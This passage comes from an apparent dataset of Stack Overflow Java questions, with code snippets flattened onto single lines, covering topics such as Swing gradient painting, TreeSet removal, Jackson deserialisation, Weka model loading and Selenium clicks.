0 ; gbc.gridy = 4 ; gbc.anchor = GridBagConstraints.NORTHWEST ; gbc.insets = new Insets ( 1,2,1,2 ) ; gbc.fill = GridBagConstraints.HORIZONTAL ; gbc.weightx = 1.0 ; midPanel.add ( topPanel3 , gbc ) ; //add panel to push other panels to top gbc.gridx = 0 ; gbc.gridy = 5 ; gbc.fill = GridBagConstraints.VERTICAL ; gbc.weighty = 1.0 ; JPanel invisPanel = new JPanel ( ) ; invisPanel.setOpaque ( false ) ; midPanel.add ( invisPanel , gbc ) ; frame.getContentPane ( ) .add ( midPanel ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } //test it out public static void main ( String [ ] args ) { new TestGui ( ) ; } //class for the top 3 panels private class TopPanel extends JPanel { private int maxLength ; private boolean cyclic ; public TopPanel ( ) { initComponents ( ) ; setOpaque ( false ) ; cyclic = true ; maxLength = 0 ; } @ Override public void paintComponent ( Graphics g ) { if ( isOpaque ( ) ) { super.paintComponent ( g ) ; return ; } int width = getWidth ( ) ; int height = getHeight ( ) ; GradientPaint paint = null ; Color top = new Color ( 50 , 50 , 50 ) ; Color btm = new Color ( 19 , 19 , 19 ) ; paint = new GradientPaint ( width / 2 , 0 , top , width / 2 , maxLength > 0 ? maxLength : height , btm , cyclic ) ; if ( paint == null ) { throw new RuntimeException ( `` Invalid direction specified in GamerTagPanel '' ) ; } Graphics2D g2d = ( Graphics2D ) g ; Paint oldPaint = g2d.getPaint ( ) ; g2d.setPaint ( paint ) ; g2d.fillRect ( 0 , 0 , width , height ) ; g2d.setPaint ( oldPaint ) ; super.paintComponent ( g ) ; } @ Override public Dimension getPreferredSize ( ) { return new Dimension ( 300 , 200 ) ; } private void initComponents ( ) { GridBagConstraints gbc ; JLabel jLabel1 = new JLabel ( ) ; JLabel jLabel2 = new JLabel ( ) ; setBorder ( BorderFactory.createLineBorder ( new Color ( 204,204,204 ) ) ) ; setLayout ( new GridBagLayout ( ) ) ; jLabel1.setFont ( new Font ( `` Tahoma '' , Font.BOLD , 11 ) ) ; jLabel1.setForeground ( new Color ( 255 , 255 , 255 ) ) ; jLabel1.setText ( `` Scanning ... '' ) ; gbc = new GridBagConstraints ( ) ; gbc.gridx = 0 ; gbc.gridy = 0 ; gbc.anchor = GridBagConstraints.NORTHWEST ; gbc.insets = new Insets ( 5 , 5 , 5 , 5 ) ; add ( jLabel1 , gbc ) ; jLabel2.setFont ( new java.awt.Font ( `` Tahoma '' , Font.BOLD , 11 ) ) ; jLabel2.setForeground ( new java.awt.Color ( 255 , 255 , 255 ) ) ; jLabel2.setText ( `` C : \\Directory\\Folder\\SubFolder\\SpecificFolder\\File.file '' ) ; gbc = new GridBagConstraints ( ) ; gbc.gridx = 0 ; gbc.gridy = 1 ; gbc.gridwidth = 2 ; gbc.fill = GridBagConstraints.HORIZONTAL ; gbc.anchor = GridBagConstraints.NORTHWEST ; gbc.weightx = 1.0 ; gbc.insets = new Insets ( 5 , 5 , 5 , 5 ) ; add ( jLabel2 , gbc ) ; } } public class MidPanel extends JPanel { private int maxLength ; private boolean cyclic ; public MidPanel ( ) { setLayout ( new GridBagLayout ( ) ) ; setOpaque ( false ) ; maxLength = 0 ; cyclic = false ; } @ Override public void paintComponent ( Graphics g ) { if ( isOpaque ( ) ) { super.paintComponent ( g ) ; return ; } int width = getWidth ( ) ; int height = getHeight ( ) ; GradientPaint paint = null ; Color top = new Color ( 75 , 75 , 75 ) ; Color btm = new Color ( 19 , 19 , 19 ) ; paint = new GradientPaint ( width / 2 , 0 , top , width / 2 , maxLength > 0 ? maxLength : height , btm , cyclic ) ; if ( paint == null ) { throw new RuntimeException ( `` Invalid direction specified in GamerTagPanel '' ) ; } Graphics2D g2d = ( Graphics2D ) g ; Paint oldPaint = g2d.getPaint ( ) ; g2d.setPaint ( paint ) ; g2d.fillRect ( 0 , 0 , width , height ) ; g2d.setPaint ( oldPaint ) ; super.paintComponent ( g ) ; } @ Override public Dimension getPreferredSize ( ) { return new Dimension ( 300 , 400 ) ; } } }",What do I need to do to replicate this component with gradient paint ? +Java,"How does the shift operator < < work when the value of the shift bits is greater than the total number of bits for the datatype ? For example , The size of an integer is 32 bits , however we are shifting 34 bits . How does this work ?",int i = 2 ; int j = i < < 34 ; System.out.println ( j ) ;,Shift Operator in Java +Java,"Using both Java 8 and Java 11 , consider the following TreeSet with a String : :compareToIgnoreCase comparator : When I try to remove the exact elements present in the TreeSet , it works : all of those specified are removed : However , if I try to remove instead more than is present in the TreeSet , the call does n't remove anything at all ( this is not a subsequent call but called instead of the snippet above ) : What am I doing wrong ? Why does it behave this way ? Edit : String : :compareToIgnoreCase is a valid comparator :","final Set < String > languages = new TreeSet < > ( String : :compareToIgnoreCase ) ; languages.add ( `` java '' ) ; languages.add ( `` c++ '' ) ; languages.add ( `` python '' ) ; System.out.println ( languages ) ; // [ c++ , java , python ] languages.removeAll ( Arrays.asList ( `` PYTHON '' , `` C++ '' ) ) ; System.out.println ( languages ) ; // [ java ] languages.removeAll ( Arrays.asList ( `` PYTHON '' , `` C++ '' , `` LISP '' ) ) ; System.out.println ( languages ) ; // [ c++ , java , python ] ( l , r ) - > l.compareToIgnoreCase ( r )",Why does n't removing from a TreeSet with a custom comparator remove a larger set of items ? +Java,"I have a rest controller that looks like this : The Payload class looks like this : And the ArgumentResolver looks like this : Currently this does about 95 % of what I want it to do . It successfully retrieves all the items from the header and request body and creates a Payload object . But after creating the object I want to run the validations annotated in the Payload class like NotNull , NotEmpty or my customer validator OneOrTheOther . I did some digging around and found a couple stack articles here and here . I do n't know how to implement the first one and the second one seems overly complicated and cumbersome so I do n't want to really go that route . It seems like using the validateIfApplicable method is the way to go but how would I call it in my context ?","@ RequestMapping ( value = `` /foo '' , method = RequestMethod.POST ) @ ResponseBodypublic ResponseEntity < JsonNode > getFOOs ( @ Valid Payload payload ) { /** some code **/ } @ OneOrTheOther ( first = `` a '' , second = `` b '' ) public final class Payload { private final String userName ; private final String a ; private final String b ; @ NotNull private final String c ; @ NotEmtpy { message= '' At least 1 item '' } private List < String > names = new ArrayList < String > ( ) ; } public class PayloadArgumentResolver implements HandlerMethodArgumentResolver { @ Override public boolean supportsParameter ( MethodParameter methodParameter ) { return methodParameter.getParameterType ( ) .equals ( Payload.class ) ; } @ Override public Object resolveArgument ( MethodParameter methodParameter , ModelAndViewContainer modelAndViewContainer , NativeWebRequest nativeWebRequest , WebDataBinderFactory webDataBinderFactory ) throws Exception { if ( supportsParameter ( methodParameter ) ) { HttpServletRequest requestHeader = nativeWebRequest.getNativeRequest ( HttpServletRequest.class ) ; String userName = requestHeader.getHeader ( `` userName '' ) ; ObjectMapper mapper = new ObjectMapper ( ) ; JsonNode requestBody = mapper.readTree ( CharStreams.toString ( requestHeader.getReader ( ) ) ) ; JsonNode a = requestBody.path ( `` a '' ) ; String a = a.isMissingNode ( ) ? null : a.asText ( ) ; JsonNode b = requestBody.path ( `` b '' ) ; String b = b.isMissingNode ( ) ? null : b.asText ( ) ; JsonNode c = requestBody.path ( `` c '' ) ; String c = c.isMissingNode ( ) ? null : c.asText ( ) ; JavaType type = mapper.getTypeFactory ( ) .constructCollectionType ( ArrayList.class , String.class ) ; List < String > ids = requestBody.path ( `` ids '' ) .isMissingNode ( ) ? null : mapper.readValue ( requestBody.path ( `` ids '' ) .toString ( ) , type ) ; return new Payload ( username , a , b , c , ids ) ; } return null ; } }",Java Manual Validation after Argument Resolver +Java,I 'm wondering why you still can read bytes from already closed ByteArrayOutputStream . Does n't this line from docs mean the opposite ? public void close ( ) : Closes this stream . This releases system resources used for this stream.Sample code : Output : Am I doing something wrong ?,String data = `` Some string ... '' ; ByteArrayOutputStream bOut = new ByteArrayOutputStream ( ) ; DataOutputStream dOut = new DataOutputStream ( bOut ) ; dOut.write ( data.getBytes ( ) ) ; dOut.close ( ) ; System.out.println ( `` Length : `` + bOut.toByteArray ( ) .length ) ; System.out.println ( `` Byte # 2 : `` + bOut.toByteArray ( ) [ 2 ] ) ; Length : 15Byte # 2 : 109,Why you can read data from already closed ByteArrayOutputStream ? +Java,"I am understanding below JSON { '' id '' : '' 1 '' , '' value '' : '' some value '' } { '' id '' : '' 2 '' , '' value '' : null } { '' id '' : '' 3 '' } To hold the above JSON data I have java class : In above example : id 2 and id 3 both have value as NULLIn java it is very difficult to identify the distinguish between passed null value in JSON and other field which are not passed hence java pojo has its default value as NULL.For me value of id 2 & id 3 should not be same.Is it possible to distinguish between provided JSON NULL & and default NULL in java ?",class myClass { private String id ; private String value ; public String getId ( ) { return id ; } public void setId ( String id ) { this.id = id ; } public String getValue ( ) { return value ; } public void setValue ( String value ) { this.value = value ; } },How to distinguish between JSON null value and default java null in java pojo +Java,"I have @ OneToMany association between 2 entities ( Entity1 To Entity2 ) .My sqlQueryString consists of next steps : select ent1 . * , ent2.differ_field from Entity1 as ent1 left outer join Entity2 as ent2 on ent1.item_id = ent2.item_idAdding some subqueries and writing results to some_field2 , some_field3 etc.Execute : and So the result is the List < SomeDto > Fields which are highlighted with grey are the same . So what I want is to group by , for example , item_id and the List < Object > differFieldList would be as aggregation result.or something like that Map < SomeDto , List < Object > > I can map it manually but there is a trouble : When I use sqlQuery.setFirstResult ( offset ) .setMaxResults ( limit ) I retrieve limit count of records . But there are redundant rows . After merge I have less count actually.Thanks in advance !",Query sqlQuery = getCurrentSession ( ) .createSQLQuery ( sqlQueryString ) .setResultTransformer ( Transformers.aliasToBean ( SomeDto.class ) ) ; List list = sqlQuery.list ( ) ; class SomeDto { item_id ; some_filed1 ; ... differ_field ; ... } class SomeDto { ... fields ... List < Object > differFieldList ; },Hibernate - sqlQuery map redundant records while using JOIN on OneToMany +Java,Consider : In C output is : In Java output is : How does this happen ?,"int m = 2 , n ; n = m++ + ( ++m ) ; m = 4 , n = 4 ; m = 4 , n = 5 ;",Why output differs in C and Java in the expression m++ + ( ++m ) +Java,"I 've such DTO classes written in Java : In my project there is Jackson library used for serialization and deserialization of JSONs.How to configure AnswersDto ( use special annotations ) or AnswerDto ( annotation as well ) classes to be able to properly deserialize request with AnswersDto in its body , e.g . : Unfortunately Jackson by default maps value of AnswerDto object to LinkedHashMap instead of object of proper ( Location or JobTitle ) class type.Should I write custom JsonDeserializer < AnswerDto > or configuration by use of @ JsonTypeInfo and @ JsonSubTypes could be enough ? To properly deserialize request with just one AnswerDto in form ofI 'm using : without any other custom configuration .","public class AnswersDto { private String uuid ; private Set < AnswerDto > answers ; } public class AnswerDto < T > { private String uuid ; private AnswerType type ; private T value ; } class LocationAnswerDto extends AnswerDto < Location > { } class JobTitleAnswerDto extends AnswerDto < JobTitle > { } public enum AnswerType { LOCATION , JOB_TITLE , } class Location { String text ; String placeId ; } class JobTitle { String id ; String name ; } { `` uuid '' : `` e82544ac-1cc7-4dbb-bd1d-bdbfe33dee73 '' , `` answers '' : [ { `` uuid '' : `` e82544ac-1cc7-4dbb-bd1d-bdbfe33dee73 '' , `` type '' : `` LOCATION '' , `` value '' : { `` text '' : `` Dublin '' , `` placeId '' : `` 121 '' } } , { `` uuid '' : `` e82544ac-1cc7-4dbb-bd1d-bdbfe33dee73 '' , `` type '' : `` JOB_TITLE '' , `` value '' : { `` id '' : `` 1 '' , `` name '' : `` Developer '' } } ] } { `` uuid '' : `` e82544ac-1cc7-4dbb-bd1d-bdbfe33dee73 '' , `` type '' : `` LOCATION '' , `` value '' : { `` text '' : `` Dublin '' , `` placeId '' : `` 121 '' } } AnswerDto < Location > answerDto = objectMapper.readValue ( jsonRequest , new TypeReference < AnswerDto < Location > > ( ) { } ) ;",JSON generic collection deserialization +Java,"I created my weka model in the machine and imported it to the android project . When i try to create the classifier it gives an error `` exception.java.io.StreamCorruptedException '' when i try to deserialise the model i created . The code perfectly works in machine.This is my Code , This is the full stacktrace , Please help me to overcome this problem .","InputStream fis = null ; fis = new InputStream ( `` /modle.model '' ) ; InputStream is = fis ; Classifier cls = null ; //here im getting the error when trying to read the Classifier cls = ( Classifier ) SerializationHelper.read ( is ) ; FileInputStream datais = null ; datais = new FileInputStream ( `` /storage/emulated/0/window.arff '' ) ; InputStream dataIns = datais ; DataSource source = new DataSource ( dataIns ) ; Instances data = null ; try { data = source.getDataSet ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } data.setClassIndex ( data.numAttributes ( ) - 1 ) ; Instance in = new Instance ( 13 ) ; in.setDataset ( data ) ; in.setValue ( 0 , testWekaModle1 [ 0 ] ) ; in.setValue ( 1 , testWekaModle1 [ 1 ] ) ; in.setValue ( 2 , testWekaModle1 [ 2 ] ) ; in.setValue ( 3 , testWekaModle1 [ 3 ] ) ; in.setValue ( 4 , testWekaModle1 [ 4 ] ) ; in.setValue ( 5 , testWekaModle1 [ 5 ] ) ; in.setValue ( 6 , testWekaModle1 [ 6 ] ) ; in.setValue ( 7 , testWekaModle1 [ 7 ] ) ; in.setValue ( 8 , testWekaModle1 [ 8 ] ) ; in.setValue ( 9 , testWekaModle1 [ 9 ] ) ; in.setValue ( 10 , testWekaModle1 [ 10 ] ) ; in.setValue ( 11 , testWekaModle1 [ 11 ] ) ; double value = 0 ; value = cls.classifyInstance ( in ) ; in.setClassValue ( value ) ; java.io.ObjectInputStream.readStreamHeader ( ObjectInputStream.java:2109 ) java.io.ObjectInputStream. < init > ( ObjectInputStream.java:372 ) weka.core.SerializationHelper.read ( SerializationHelper.java:288 ) info.androidhive.sleepApp.model.ControllerWeka.wekaModle ( ControllerWeka.java:81 ) info.androidhive.sleepApp.activity.HomeFragment.extract ( HomeFragment.java:278 ) info.androidhive.sleepApp.activity.HomeFragment.stop ( HomeFragment.java:146 ) '' info.androidhive.sleepApp.activity.HomeFragment $ 2.onClick ( HomeFragment.java:107 ) '' android.view.View.performClick ( View.java:4475 ) '' android.view.View $ PerformClick.run ( View.java:18786 ) '' android.os.Handler.handleCallback ( Handler.java:730 ) '' dalvik.system.NativeStart.main ( Native Method ) '' com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1025 ) '' com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1209 ) '' java.lang.reflect.Method.invoke ( Method.java:525 ) '' java.lang.reflect.Method.invokeNative ( Native Method ) '' android.app.ActivityThread.main ( ActivityThread.java:5419 ) '' android.os.Looper.loop ( Looper.java:137 ) '' android.os.Handler.dispatchMessage ( Handler.java:92 ) ''",Weka model Read Error in android +Java,"Eventually I got the answer , but it puzzled me for a while . Why does the following code throws NullPointerException when run ?","import java.util . * ; class WhyNullPointerException { public static void main ( String [ ] args ) { // Create a map Map < String , Integer > m = new HashMap < String , Integer > ( ) ; // Get the previous value , obviously null . Integer a = m.get ( `` oscar '' ) ; // If a is null put 1 , else increase a int p = a == null ? m.put ( `` oscar '' , 1 ) : m.put ( `` oscar '' , a++ ) ; // Stacktrace reports Npe in this line } }",why does this code throw a NullPointerException ? +Java,"Please consider 2 cases : I assume that case 1 is changed by compiler to : Could you please explain what compiler is trying to do in case 2 , so it does not compile ? If it is not trying to apply autoboxing as it does in case 1 , then why ? EDITReference to JSL in johnchen902 answer explains compiler 's behaviour.Still not exactly clear why JLS does not support `` A narrowing primitive conversion followed by a boxing conversion '' for Method Invocation Conversion as it does in Assignment Conversion for the case of constant expression of type byte , short , char , or int.Any ideas ?",//1Short s = 10 ; //obviously compiles //2takeShort ( 10 ) ; //error - int is not applicable//where : static void takeShort ( Short s ) { } short _temp_s = 10 ; Short s = Short.valueOf ( _temp_s ) ;,autoboxing of numeric literals : wrapper initialization vs passing method arguments inconsistency +Java,"My Java classes represent entities inside a database , and I find it practical to override the equals method of my classes to make comparisons by id . So for example in my Transaction class I have this piece of codeNow it seems a bit ugly to me that every class holds the same piece of code , with only the name of the class changed . I thought about making my classes extend a superclass MyEntity where I would write the above method , replacing instanceof Transaction with something like instanceof this.getClass ( ) , but this does n't seem to be possible . I also thought about replacing it with instanceof MyEntity , but that means two object could be considered equal even if they belonged to different classes , as long as they have the same id.Is there any other way ?",@ Overridepublic boolean equals ( Object other ) { if ( other == null ) return false ; if ( other == this ) return true ; if ( ! ( other instanceof Transaction ) ) return false ; Transaction otherTrans = ( Transaction ) other ; if ( id == null || otherTrans.id == null ) return false ; return id.equals ( otherTrans.id ) ; },Use instanceof without knowing the type +Java,"Consider this Minimal , Reproducible Example : ( Being near minimal , true is a stand in for a useful boolean expression . We can ignore beyond the first ? : ( in the real code , there are lots ) . ) This 'obviously ' gives the error.Okay let 's fix it . It 's the String.valueOf ( Object ) overload I want - I might later want to add : ( In fact I did have something similar earlier , but have now removed the feature . ) This gives the warning : Is this a bug in the compiler warning or error , and how do I fix it so the code is reasonable and there are no warnings or errors ? ( Edits : I 've change the MRE slightly . throws Throwable was from a template . The real code does use literal chars* and String.valueOf Elsewhere it uses the String.valueOf ( char ) overload , so toString ( ) is problematic ( oh Java ! ) . The code avoids global state , such as System.out , and symbol and fail are in different classes . The `` switch '' is of a non-enumerable type . fail is a companion to an assert-like method , so that 's why it throws an ( unchecked non-null ) exception internally.How I actually fixed it was , unrelatedly , I rearranged code so there were some literal strings in there too . Otherwise , I would have used the pointless Object.class.cast equivalent of ( Object ) . What I really want to know is : wtf ? *Actually the real real code goes through a lexer for a different language that does n't distinguish between literal char , string , various numbers , boolean , enums , etc . Why would it ? )",interface Code { static void main ( String [ ] args ) { symbol ( String.valueOf ( true ? ' a ' : true ? ' b ' : true ? ' c ' : fail ( ) ) ) ; } private static void symbol ( String symbol ) { System.out.println ( symbol ) ; } private static < R > R fail ( ) { throw null ; } } 4 : reference to valueOf is ambiguous both method valueOf ( java.lang.Object ) in java.lang.String and method valueOf ( char ) in java.lang.String match true ? `` sss '' : String.valueOf ( ( Object ) ( true ? ' a ' : fail ( ) ) ) 4 : redundant cast to java.lang.Object,`` redundant cast to java.lang.Object '' warning for necessary cast +Java,"Why does map take its input as a Function of type < ? super P_OUT , ? extends R > instead of < P_OUT , ? extends R > ? When I do for example , Is it because of not restricting method references ? Is that the only use case ?",List < Integer > list = new ArrayList < > ( ) ; list.stream ( ) .map ( xyz - > { } ) ; // Here xyz is always of type Integer for this instance . // Then why does it take input as `` ? super Integer '' ?,"Why does Java Stream.map take a Function < ? super P_OUT , ? extends R > mapper as input instead of Function < P_OUT , ? extends R > ?" +Java,"I have a list of objects say , List . The Entity class has an equals method , on few attributes ( business rule ) to differentiate one Entity object from the other.The task that we usually carry out on this list is to remove all the duplicates something like this : Now , the problem that I have been observing is that this part of the code , is slowing down considerably as soon as the list has objects more than 10000.I understand arraylist is doing a o ( N ) search . Is there a faster alternative , using HashMap is not an option , because the entity 's uniqueness is built upon 4 of its attributes together , it would be tedious to put in the key itself into the map ? will sorted set help in faster querying ? Thanks",List < Entity > noDuplicates = new ArrayList < Entity > ( ) ; for ( Entity entity : lstEntities ) { int indexOf = noDuplicates.indexOf ( entity ) ; if ( indexOf > = 0 ) { noDuplicates.get ( indexOf ) .merge ( entity ) ; } else { noDuplicates.add ( entity ) ; } },Best datastructure for frequently queried list of objects +Java,"Suppose you 're maintaining an API that was originally released years ago ( before java gained enum support ) and it defines a class with enumeration values as ints : Over the years the API has evolved and gained Java 5-specific features ( generified interfaces , etc ) . Now you 're about to add a new enumeration : The 'old style ' int-enum pattern has no type safety , no possibility of adding behaviour or data , etc , but it 's published and in use . I 'm concerned that mixing two styles of enumeration is inconsistent for users of the API.I see three possible approaches : Give up and define the new enum ( NutrientType in my fictitious example ) as a series of ints like the VitaminType class . You get consistency but you 're not taking advantage of type safety and other modern features.Decide to live with an inconsistency in a published API : keep VitaminType around as is , and add NutrientType as an enum . Methods that take a VitaminType are still declared as taking an int , methods that take a NutrientType are declared as taking such.Deprecate the VitaminType class and introduce a new VitaminType2 enum . Define the new NutrientType as an enum . Congratulations , for the next 2-3 years until you can kill the deprecated type , you 're going to deal with deprecated versions of every single method that took a VitaminType as an int and adding a new foo ( VitaminType2 v ) version of each . You also need to write tests for each deprecated foo ( int v ) method as well as its corresponding foo ( VitaminType2 v ) method , so you just multiplied your QA effort.What is the best approach ?","public class VitaminType { public static final int RETINOL = 0 ; public static final int THIAMIN = 1 ; public static final int RIBOFLAVIN = 2 ; } public enum NutrientType { AMINO_ACID , SATURATED_FAT , UNSATURATED_FAT , CARBOHYDRATE ; }",What 's the best way to handle coexistence of the `` int enum '' pattern with java enums as an API evolves ? +Java,"I have collection idList that contains string IDs.Function getCollection returns for single ID a collection of items ( type MyType ) . Also , it may return null.So for many IDs from idList I would get some nulls and some collections . The goal is to collect all replies of getCollection for a set of IDs into final List.I have imagined something like but it does not seem to be a valid expression . How to make it valid ? Also , what about performance of this implementation ?",List < MyType > reply = idList.stream ( ) .map ( id - > getCollection ( id ) ) .filter ( p - > p ! = null ) .collect ( Collectors.toList ( ) ) ;,Java Stream : aggregate in list all not-Null collections received in map ( ) +Java,"I 've the following collection class that contains a method for grouping the elements in a map where each value has the type of the class invoking itWhat I want is to be able to create subclasses that use the groupBy method that returns new istances of themselves as map values.The following is an exampleThe problem is in the groupByPerson method . The compiler throws an error for the groupBy call.Error : ( 15 , 28 ) java : incompatible types : no instance ( s ) of type variable ( s ) K exist so that java.util.Map < K , ? extends TaskCollection < Assertion > > conforms to java.util.Map < Person , AssertionCollection > I 'm new in Java so I 'm pretty sure there 's something stupid I do n't see","class TaskCollection < E extends Task > extends HashSet < E > { < K > Map < K , ? extends TaskCollection < E > > groupBy ( Function < E , K > groupingFunction ) { return this.stream ( ) .collect ( Collectors.groupingBy ( groupingFunction , Collectors.toCollection ( this.collectionConstructor ( ) ) ) ) ; } Supplier < ? extends TaskCollection < E > > collectionConstructor ( ) { return TaskCollection : :new ; } } class AssertionCollection extends TaskCollection < Assertion > { Map < Person , AssertionCollection > groupByPerson ( ) { return this.groupBy ( Assertion : :assignedPerson ) ; } @ Override Supplier < AssertionCollection > collectionConstructor ( ) { return AssertionCollection : :new ; } }",Java Collection with generic method and subclasses +Java,"I 'm trying to create a HashSet < Byte > of bytes 1 , 2 , 3 , ... 9 with the Java 8 Streams API . I thought using IntStream and then downgrading the values to byte would do it . I 'm trying variations ofHashSet < Byte > nums = IntStream.range ( 1 , 10 ) .collect ( Collectors.toSet ( ) ) ; HashSet < Byte > nums = IntStream.range ( 1 , 10 ) .map ( e - > ( ( byte ) e ) ) .collect ( Collectors.toSet ( ) ) ; But none of those work . Do I need to do flatMap or mapToObject ?","Error : ( 34 , 73 ) java : method collect in interface java.util.stream.IntStream can not be applied to given types ; required : java.util.function.Supplier < R > , java.util.function.ObjIntConsumer < R > , java.util.function.BiConsumer < R , R > found : java.util.stream.Collector < java.lang.Object , capture # 1 of ? , java.util.Set < java.lang.Object > > reason : can not infer type-variable ( s ) R ( actual and formal argument lists differ in length )",Java8 Stream - HashSet of Byte from IntStream +Java,Consider the following JUnit test : The test fails even though the interrupted status was set.I 've suspected that the line blockingThread.join ( ) ; resets the flag but even when replacing that line with Thread.sleep ( 3000 ) ; the test still fails . Is this behaviour documented anywhere ?,@ Testpublic void testSettingInterruptFlag ( ) throws InterruptedException { Thread blockingThread = new Thread ( new Runnable ( ) { @ Override public synchronized void run ( ) { try { wait ( ) ; } catch ( InterruptedException e ) { Thread.currentThread ( ) .interrupt ( ) ; } } } ) ; blockingThread.start ( ) ; blockingThread.interrupt ( ) ; blockingThread.join ( ) ; assertTrue ( blockingThread.isInterrupted ( ) ) ; },Thread.isInterrupted ( ) returns false after thread has been terminated +Java,"I have a schema which names all its elements and complexTypes in capital letters and so all my class names are also in caps.Can you let me know how to capture this and name the classes in CamelCase ? Ex : Snippet of XSD : Currently it is generating as : REGISTRATIONDATE .But I would like to generate class as : RegistrationDate .Regards , Satya",< xs : element name= '' REGISTRATION_DATE '' > < xs : complexType mixed= '' true '' > < xs : attribute name= '' UNIT '' / > < /xs : complexType > < /xs : element >,Generating JAXB classes with custom class names +Java,"Suppose we have a volatile int a . One thread doesand another thread doesNow , would it be illegal for a JIT compiler to emit assembly corresponding to 2*a instead of a+a ? On one hand the very purpose of a volatile read is that it should always be fresh from memory.On the other hand , there 's no synchronization point between the two reads , so I ca n't see that it would be illegal to treat a+a atomically , in which case I do n't see how an optimization such as 2*a would break the spec.References to JLS would be appreciated .",while ( true ) { a = 1 ; a = 0 ; } while ( true ) { System.out.println ( a+a ) ; },Could the JIT collapse two volatile reads as one in certain expressions ? +Java,"Let 's say I have the folowing : And if I want to call myList.add ( myApple ) , Java expects from myApple to have type of Apple , not any others ( except subclasses of course ) . But what if I want to have an object ( Blender ) and have different method signatures according to type declared inside < > and without method overloadings ; like so : Is it possible ?",List < Apple > myList = new ArrayList < Apple > ( ) ; Blender < Apple > Tool = new Blender < Apple > ( ) ; Tool.blendIt ( new Apple ( ) ) ; //expects to have only apples in hereBlender < Banana > OtherTool = new Blender < Banana > ( ) ; OtherTool.blendIt ( new Banana ( ) ) ; //only Banana 's are permitted,Use generics without collections +Java,"This is my very first question on Stackoverflow , so please bear with me if you find anything nonsensical in my very first post . FYI that I 've gone through the SO FAQ and I 'm aware of its various policies . You see , I 'm a guy that has heavily worked with languages such as PHP , Perl , Python , ROR and recently I `` context-switched '' to Java EE . You see , several of the languages that I 've worked on had a construct that enabled me to recursively dump the contents of an aggregate structure without a for/foreach/for..in loopFor example , PHP has Perl has ROR has and Python has .So my question goes , Is there an equivalent of any of these in the Java universe ? I find it very convenient when I used to work in any of these languages ( PHP/Perl/Python/ROR ) to dump the contents of an composite data-structure to examine how it looks and then process it further ( or decide on how to process it further ) Thanks for your time and apologies if my post overlooks any SO rules .",a = Any composite Data structure var_dump ( ) and print_r ( ) Data : :Dumper PrettyPrint pprint module,"Recursively dump the contents of an aggregate structure ( Collection , Array ) in Java" +Java,"I have a tabbed pane including five tabs on it . This tabbed pane is on a JPanel I use a button on another JPanel to get fourth tab as leading tab . But when I click on the button first tab is still display and I have to move to the fourth one manually . Have any ideas . Thanks in deep . Button actiondoClickHistoryBtn ( ) method When I execute this doClickHistoryBtn ( ) method , History_panel is loading.second JPanel ( History_panel ) This is my first screen . Expected Actual",Center instance1 = Center.getInstance ( ) ; instance1.doClickHistoryBtn ( ) ; public void doClickHistoryBtn ( ) { history_btn.doClick ( ) ; } private JPanel history_panel1 ; private JPanel history_panel2 ; private JPanel history_panel3 ; private JPanel history_panel4 ; private JPanel history_panel5 ; public History_panel ( ) { initComponents ( ) ; setPanels ( ) ; } private void setPanels ( ) { },How to open fourth tab as first tab in JTabbedPane in netbeans +Java,Given an ftl file which is structured as below ( just an example ) i am able to replace / insert all elements in to level 1 which is fine.My confusion arises when there maybe multiple level2 's - for example it could repeat many times . As such my process for replacing will hit a pain pointAt this point here - assuming i have a list of values to have multiple level2 nodes - how would i go about producing this using the style shown above ? Thanks,"< parent > < level1 > < a > $ { a } < /a > < b > $ { b } < /b > < c > $ { c } < /c > < d > $ { d } < /d > < /level1 > < level2 > < e > < $ { e } < /e > < f > < $ { f } < /f > < g > < $ { g } < /g > < h > < $ { h } < /h > < i > < $ { i } < /i > < j > < $ { j } < /j > < /level2 > < /parent > map.put ( `` a '' , `` valuefora '' ) ; map.put ( `` b '' , `` valueforb '' ) ; map.put ( `` c '' , `` valueforc '' ) ; map.put ( `` d '' , `` valueford '' ) ; Configuration cfg = new Configuration ( ) ; cfg.setDirectoryForTemplateLoading ( new File ( `` C : \\templates '' ) ) ; Template temp = cfg.getTemplate ( `` freemarker.ftl '' ) ; Writer out = new OutputStreamWriter ( System.out ) ; temp.process ( map , out ) ;",Freemarker - creating multiple child tags +Java,"I 've recently updated IntelliJ to version 2018.2 , and since the update , I keep getting this error when trying to start my Java Play SBT project : I can not find out why . I did n't change anything in my build.sbt or plugins.sbt files .","BUILD_NUMBER not defined , setting version : sbt.SettingKey $ $ anon $ 4 @ 2ad8aeb5 [ info ] Loading settings from build.sbt ... BUILD_NUMBER not defined , setting version : sbt.SettingKey $ $ anon $ 4 @ 2ad8aeb5 [ info ] Set current project to [ PROJECT_NAME ] ( in build file : /Users/username/Documents/Repos/ [ PROJECT_NAME ] / ) [ error ] Not a valid project ID : [ PROJECT_NAME ] [ error ] project [ PROJECT_NAME ] [ error ] ^",Invalid project name after IntelliJ update in Java Play SBT +Java,"Here is a div with an AngularJS ng-click attribute that sets a variable when the div is clicked.Here is some Java code that uses Selenium to click on the div element.When I run the Java code , the AngularJS hangs for eternity . I figure foo.bar is not set when the div is clicked so here is some code that sets the variable directly . Stacktrace unknown error : foo is not defined ( Session info : chrome=56.0.2924.87 ) ( Driver info : chromedriver=2.25.426923 ( 0390b88869384d6eb0d5d09729679f934aab9eed ) , platform=Windows NT 6.1.7601 SP1 x86_64 ) ( WARNING : The server did not provide any stacktrace information ) Command duration or timeout : 51 milliseconds Build info : version : ' 2.53.0 ' , revision : '35ae25b ' , time : '2016-03-15 17:00:58 ' System info : host : 'WV-VC104-027 ' , ip : ' { ip } ' , os.name : 'Windows 7 ' , os.arch : 'amd64 ' , os.version : ' 6.1 ' , java.version : ' 1.8.0_151 ' Driver info : org.openqa.selenium.chrome.ChromeDriver Capabilities [ { applicationCacheEnabled=false , rotatable=false , mobileEmulationEnabled=false , networkConnectionEnabled=false , chrome= { chromedriverVersion=2.25.426923 ( 0390b88869384d6eb0d5d09729679f934aab9eed ) , userDataDir=C : \Users { user } \AppData\Local\Temp\scoped_dir5600_4225 } , takesHeapSnapshot=true , pageLoadStrategy=normal , databaseEnabled=false , handlesAlerts=true , hasTouchScreen=false , version=56.0.2924.87 , platform=XP , browserConnectionEnabled=false , nativeEvents=true , acceptSslCerts=true , locationContextEnabled=true , webStorageEnabled=true , browserName=chrome , takesScreenshot=true , javascriptEnabled=true , cssSelectorsEnabled=true } ] Session ID : a7734312eff62fe452a53895b221a58dWhen I try to set foo.bar I can not get a reference to 